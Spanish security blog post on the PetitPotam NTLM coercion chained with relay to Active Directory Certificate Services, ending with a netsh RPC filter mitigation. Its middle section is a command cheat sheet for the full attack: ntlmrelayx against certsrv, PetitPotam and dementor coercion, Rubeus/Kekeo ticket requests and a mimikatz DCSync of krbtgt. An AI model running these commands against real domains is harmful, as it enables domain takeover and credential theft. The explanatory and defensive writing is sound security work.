A finales de junio Will Schroeder(@harmj0y) y Lee Christensen (@tifkin_) publicaron un excelente paper «Certified Pre-Owned – Abusing Active Directory Certificate Services» en el que destacaba que los servicios de web enrollment de servidores ADCS – aka PKIs de Microsoft – eran vulnerables a NTLM relay (ESC8). Esto sumado a la explotación del servicio spooler MS-RPRN, que fuerza que un controlador de dominio envíe al atacante un hash de autenticación NTLM, podía derivar en una cadena de ataque que podría permitir la obtención de un certificado firmado con todo lo que conlleva: obtención de TGT y game over.
Al menos, no era tan «grave» (por decir algo) porque explotar MS-RPRN requería autenticación previa y se solucionaba parando el servicio. Microsoft volvía a apuntar de nuevo hacia las mitigaciones genéricas contra el relay NTLM y los dos investigadores de Specterops lanzaron también una herramienta para chequear las distintos fallos en ADCS, dejando en el disparadero las herramientas ofensivas para la su charla de este miércoles en Las Vegas… pero los acontecimientos se precipitaron…
Por un lado el francés Lionel Gilles (@topotam77) descubrió que llamando a una función de MS-EFSRPC vía una pipe LSARPC también es posible forzar el envío de un hash NTLM, salvo que esta vez NO es necesario si quiera autenticación y, para más inri, no es posible mitigarlo parando un servicio. Había nacido el f*cking PetitPotam…
Pero ahí no quedó la cosa… Casi en paralelo otro investigador con alias @ExAndroidDev, con el análisis del paper en mano, publicó un fork de ntlmrelayx de impacket que facilitaba el relay a través de ADCS… la tormenta perfecta, el ataque completo que permite el takeover del dominio.
Aunque a estas alturas el objetivo de este post no es describir la cadena del ataque si os dejo los pasos de explotación a modo de chuleta:
Versión 1: NTLM Relay + Rubeus + PetitPotam
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template workstation
# template workstation, DomainController, Machine
# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d » -u » -p » $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local
# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC…mUUXS /ptt
# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
Versión 2: NTLM Relay + Mimikatz + Kekeo
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth
# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt
# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
El tiempo pasaba y la Red se inundaba de numerosas PoCs.. pero la mitigación se centraba en proteger el ADCS del fatídico reenvío NTLM: la firma SMB y LDAP, channel binding, EPA… inhabilitan sólo la segunda parte del ataque. Si NTLM seguía activado, sin terminar de ceder el trono a Kerberos de una vez por todas, PetitPotam seguía estando ahí y los sistemas siendo vulnerables.
Han tenido que pasar bastantes días hasta que este finde Craig Kirby compartió un filtro NETSH RPC que bloquea el acceso remoto a la API MS-EFSRPC, bloqueando efectivamente el vector de ataque del infame PetitPotam no autenticado. Y confirmaba Benjamin Delpy, nuestro gentilkiwi, que se puede usar este filtro copiando el siguiente contenido en un archivo llamado ‘block_efsr.txt’:
rpc
filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
add filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
add filter
quit
Luego desde una consola elevada:
netsh -f %userprofile%\desktop\block_efsr.txt
Podemos verificar que los filtros se hayan agregado ejecutando el siguiente comando:
netsh rpc filter show filter
Después de ejecutar el comando, netsh debería mostrar dos filtros, uno para c681d488-d850-11d0-8c52-00c04fd90f7e y otro para df1941c5-fe89-4e79-bf10-463657acf44d, como se muestra a continuación.
Con estos filtros, el vector PetitPotam ya no funcionará, pero EFS seguirá funcionando normalmente en el dispositivo. ES PRONTO, pero por el momento no se ha mostrado ningún impacto colateral…
pd. Si Microsoft alguna vez corrige la API para evitar este vector, se puede eliminar los filtros con el siguiente comando:
netsh rpc filter delete filter filterkey=[key]
Fuente obtenida de: https://www.hackplayers.com/2021/08/filtros-rpc-netsh-para-bloquear-ataques.html
